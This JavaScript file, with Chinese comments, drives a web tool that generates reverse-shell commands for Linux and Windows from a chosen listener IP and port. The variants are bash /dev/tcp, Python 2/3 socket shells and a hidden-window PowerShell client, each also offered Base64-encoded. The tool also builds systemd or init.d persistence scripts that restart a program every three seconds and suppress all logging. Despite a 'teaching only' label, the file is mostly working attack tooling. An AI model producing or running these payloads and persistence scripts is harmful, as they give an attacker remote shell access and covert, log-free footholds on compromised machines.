/* persist.js —— 辅助维权(教学辅助)生成逻辑
* 1) 反弹 Shell:按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」:
* #1 普通反弹(bash / PowerShell)
* #2 Python 2 反弹
* #3 Python 3 反弹
* 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本,
* 均不落盘日志(stdout/stderr → null)且崩溃 3 秒后自动重启。
* Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。
* 仅教学辅助;默认示例为占位演示值。
*/
(function () {
'use strict';
function $(id) { return document.getElementById(id); }
/* ---------- 工具函数 ---------- */
function esc(s) {
return String(s).replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"');
}
function basename(p) {
p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, '');
var i = p.lastIndexOf('/');
return i >= 0 ? p.slice(i + 1) : p;
}
function segValue(seg) {
var b = seg.querySelector('button.active');
return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : '';
}
function bindSeg(seg, onChange) {
var btns = seg.querySelectorAll('button');
for (var i = 0; i < btns.length; i++) {
btns[i].addEventListener('click', function () {
for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active');
this.classList.add('active');
if (onChange) onChange();
});
}
}
function setMsg(id, html, isErr) {
var box = $(id);
box.innerHTML = html ? '
' + html + '
' : '';
}
function b64Ascii(text) { // ASCII → Base64(命令本身均为 ASCII)
var bin = '';
for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i));
return btoa(bin);
}
function b64Utf16LE(text) { // UTF-16LE → Base64(PowerShell -enc 需要)
var bytes = [];
for (var i = 0; i < text.length; i++) {
var c = text.charCodeAt(i);
bytes.push(c & 255, c >> 8);
}
var bin = '';
for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]);
return btoa(bin);
}
function validIp(ip) {
ip = String(ip || '').trim();
if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false;
var o = ip.split('.');
for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; }
return true;
}
function validPort(p) {
p = String(p || '').trim();
return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535;
}
/* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */
function fitAuto() {
var els = document.querySelectorAll('.auto-ta');
for (var i = 0; i < els.length; i++) {
els[i].style.height = 'auto';
els[i].style.height = (els[i].scrollHeight + 2) + 'px';
}
}
/* ---------- 反弹 Shell 生成(a=普通 b=py2 c=py3,各带 64 编码版) ---------- */
function buildLinux(ip, port) {
var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1';
var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call(["/bin/sh","-i"])\'';
var py3 = py2.replace('python2', 'python3');
return {
titles: {
a: '#1 普通反弹(bash · 现代发行版自带)',
b: '#2 Python 2 反弹(python2 · 老版本系统自带)',
c: '#3 Python 3 反弹(python3 · 现代发行版自带)'
},
notes: {
a: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | bash)',
b: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python2)',
c: '▼ 下方为 Base64 编码版(还原:echo 上方值 | base64 -d | python3)'
},
a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash',
b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2',
c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3'
};
}
function buildWin(ip, port) {
var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' +
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
'$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
'$r=(iex $d 2>&1|Out-String);' +
'$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' +
'$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()';
// Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹
function pyCode(sh) {
return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call([\'' + sh + '\'])';
}
var code2 = pyCode('cmd.exe');
var code3 = pyCode('cmd.exe');
var orig2 = 'python2 -c "' + code2 + '"';
var orig3 = 'python3 -c "' + code3 + '"';
return {
titles: {
a: '#1 PowerShell 反弹(Windows 内置,无需额外组件)',
b: '#2 Python 2 反弹(需目标机已装 python2)',
c: '#3 Python 3 反弹(需目标机已装 python3)'
},
notes: {
a: '▼ 下方为 Base64 编码版(PowerShell -enc,规避引号与特殊字符)',
b: '▼ 下方为 Base64 编码版(python2 -c 内置 base64 解码执行)',
c: '▼ 下方为 Base64 编码版(python3 -c 内置 base64 解码执行)'
},
a: 'powershell -nop -w hidden -c "' + ps + '"',
a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps),
b: orig2,
b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"',
c: orig3,
c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"'
};
}
function renderRev() {
var ip = $('revIp').value.trim();
var port = $('revPort').value.trim();
if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; }
if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; }
var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port);
$('revA').value = g.a;
$('revA64').value = g.a64;
$('revB').value = g.b;
$('revB64').value = g.b64;
$('revC').value = g.c;
$('revC64').value = g.c64;
$('revTA').textContent = g.titles.a;
$('revTB').textContent = g.titles.b;
$('revTC').textContent = g.titles.c;
$('revAN').textContent = g.notes.a;
$('revBN').textContent = g.notes.b;
$('revCN').textContent = g.notes.c;
setMsg('revMsg', '', false);
fitAuto();
}
/* ---------- Linux 自启服务生成 ---------- */
function svcName() {
var n = $('lxName').value.trim();
if (n) return n;
return basename($('lxPath').value) || 'agent';
}
function systemdUnit(path, name) {
return '[Unit]\n' +
'Description=' + name + ' service\n' +
'After=network.target\n' +
'\n' +
'[Service]\n' +
'Type=simple\n' +
'ExecStart=' + path + '\n' +
'Restart=always\n' +
'RestartSec=3\n' +
'StandardOutput=null\n' +
'StandardError=null\n' +
'\n' +
'[Install]\n' +
'WantedBy=multi-user.target\n';
}
function initdScript(path, name) {
return '#!/bin/sh\n' +
'### BEGIN INIT INFO\n' +
'# Provides: ' + name + '\n' +
'# Required-Start: $remote_fs\n' +
'# Required-Stop: $remote_fs\n' +
'# Default-Start: 2 3 4 5\n' +
'# Default-Stop: 0 1 6\n' +
'# Short-Description: ' + name + '\n' +
'### END INIT INFO\n' +
'\n' +
'DAEMON="' + path + '"\n' +
'NAME="' + name + '"\n' +
'PIDFILE="/var/run/' + name + '.pid"\n' +
'\n' +
'case "$1" in\n' +
' start)\n' +
' echo "Starting $NAME..."\n' +
' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' +
' echo $! > "$PIDFILE"\n' +
' ;;\n' +
' stop)\n' +
' echo "Stopping $NAME..."\n' +
' if [ -f "$PIDFILE" ]; then\n' +
' KPID=$(cat "$PIDFILE")\n' +
' pkill -P "$KPID" 2>/dev/null\n' +
' kill "$KPID" 2>/dev/null\n' +
' rm -f "$PIDFILE"\n' +
' fi\n' +
' ;;\n' +
' restart)\n' +
' "$0" stop\n' +
' sleep 1\n' +
' "$0" start\n' +
' ;;\n' +
' *)\n' +
' echo "Usage: $0 {start|stop|restart}"\n' +
' exit 1\n' +
' ;;\n' +
'esac\n' +
'exit 0\n';
}
function renderService() {
var path = $('lxPath').value.trim();
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var out = $('lxOut'), tips = $('lxTips');
if (!path) {
out.value = '';
tips.textContent = '请先填写执行文件绝对路径。';
return;
}
if (mode === 'systemd') {
out.value = systemdUnit(path, name);
tips.innerHTML = '安装:将上方内容写入 /etc/systemd/system/' + esc(name) + '.service(需 root),然后执行:
' +
'systemctl daemon-reload && systemctl enable --now ' + esc(name) + '
' +
'说明:Restart=always 崩溃自动拉起;StandardOutput/StandardError=null 不产生、不落盘日志。';
} else {
out.value = initdScript(path, name);
tips.innerHTML = '安装:将上方脚本写入 /etc/init.d/' + esc(name) + ' 并赋予执行权限:
' +
'chmod +x /etc/init.d/' + esc(name) + '
' +
'Debian/Ubuntu(低版本)注册开机自启:update-rc.d ' + esc(name) + ' defaults
' +
'CentOS/RHEL 旧版注册开机自启:chkconfig --add ' + esc(name) + '
' +
'启动服务:service ' + esc(name) + ' start(脚本内含崩溃后 3 秒自动拉起的看护循环)。';
}
}
function downloadService() {
var text = $('lxOut').value;
if (!text) return;
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var fn = mode === 'systemd' ? name + '.service' : name;
var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' });
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = fn;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
setTimeout(function () { URL.revokeObjectURL(url); }, 1500);
}
/* ---------- 事件绑定 ---------- */
bindSeg($('revPlat'), renderRev);
bindSeg($('lxMode'), renderService);
$('revGo').addEventListener('click', renderRev);
$('revPort').addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') renderRev();
});
$('lxPath').addEventListener('input', renderService);
$('lxName').addEventListener('input', renderService);
$('lxGo').addEventListener('click', renderService);
$('lxDown').addEventListener('click', downloadService);
/* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */
renderRev();
renderService();
fitAuto();
// 窗口宽度变化导致换行变化时重新自适应
var rszT = null;
window.addEventListener('resize', function () {
if (rszT) clearTimeout(rszT);
rszT = setTimeout(fitAuto, 150);
});
})();